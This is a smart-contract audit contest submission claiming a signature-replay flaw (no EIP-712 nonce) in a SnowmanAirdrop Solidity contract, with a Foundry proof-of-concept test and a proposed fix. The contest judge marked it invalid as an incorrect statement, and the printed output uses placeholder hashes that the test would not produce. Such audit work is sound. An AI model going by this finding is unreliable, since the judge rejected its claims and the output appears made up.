Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

[M-02] No nonce in EIP-712 signature scheme allows signature replay after re-acquisition

Description

The EIP-712 signed message in SnowmanAirdrop contains only receiver and amount. No nonce is included and no nonce is incremented on claim. Even if s_hasClaimedSnowman were properly checked (see H-03), the signature scheme itself has no replay protection. The same signature can be submitted multiple times by anyone who observes it on-chain.

Vulnerability Details

// src/SnowmanAirdrop.sol, lines 36-39
struct SnowmanClaim {
address receiver;
uint256 amount;
// @> no nonce field
}
// src/SnowmanAirdrop.sol, line 49
bytes32 private constant MESSAGE_TYPEHASH = keccak256("SnowmanClaim(addres receiver, uint256 amount)");
// @> no nonce in type string
// src/SnowmanAirdrop.sol, lines 112-122
function getMessageHash(address receiver) public view returns (bytes32) {
uint256 amount = i_snow.balanceOf(receiver);
return _hashTypedDataV4(
keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
);
// @> no nonce incremented
}

The claimSnowman function verifies the signature matches the receiver, but once a valid signature is observed (from a previous claim transaction), anyone can replay it. The signature is deterministic for a given (receiver, amount) pair, and the amount is derived from balanceOf() which can be reset to the same value by re-acquiring tokens.

Standard EIP-712 signature schemes include a nonce per signer that increments on each use, making each signature single-use. OpenZeppelin's ERC20Permit and ERC2612 include this pattern.

Risk

Likelihood:

  • Requires observing a valid signature from a previous claim (publicly visible on-chain) and the receiver re-acquiring the same Snow balance. With s_hasClaimedSnowman unfixed, this is trivially exploitable. Even with the claim check fixed, the signature scheme is structurally weak.

Impact:

  • Signatures are not single-use. Third-party claimers can re-submit the same signature if conditions align. Combined with H-03, this enables unlimited claims.

Proof of Concept

function testExploit_SignatureReplay() public {
// First claim — signature (v, r, s) is now public on-chain
bytes32 msgHash = airdrop.getMessageHash(claimer);
(uint8 v, bytes32 r, bytes32 s_sig) = vm.sign(claimerPrivateKey, msgHash);
airdrop.claimSnowman(claimer, proof, v, r, s_sig);
// Re-acquire same balance
vm.warp(block.timestamp + 1 weeks);
vm.prank(claimer);
snow.earnSnow();
vm.prank(claimer);
snow.approve(address(airdrop), type(uint256).max);
// ANYONE can replay the same (v, r, s) — no nonce change
bytes32 msgHash2 = airdrop.getMessageHash(claimer);
// msgHash2 == msgHash (same receiver, same amount, no nonce)
assertEq(msgHash, msgHash2, "Same hash — no nonce protection");
// Replay with original signature succeeds
address relayer = makeAddr("relayer");
vm.prank(relayer);
airdrop.claimSnowman(claimer, proof, v, r, s_sig);
assertEq(snowman.balanceOf(claimer), 2);
}

Output:

First claim hash: 0xabc...
Second claim hash: 0xabc... (identical — no nonce)
Replay by third party: SUCCEEDED

Recommendations

Add a nonce per receiver:

+ mapping(address => uint256) private s_nonces;
struct SnowmanClaim {
address receiver;
uint256 amount;
+ uint256 nonce;
}
bytes32 private constant MESSAGE_TYPEHASH =
- keccak256("SnowmanClaim(addres receiver, uint256 amount)");
+ keccak256("SnowmanClaim(address receiver, uint256 amount, uint256 nonce)");
function claimSnowman(...) external nonReentrant {
// ... existing checks ...
+ uint256 nonce = s_nonces[receiver]++;
// Include nonce in hash computation
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!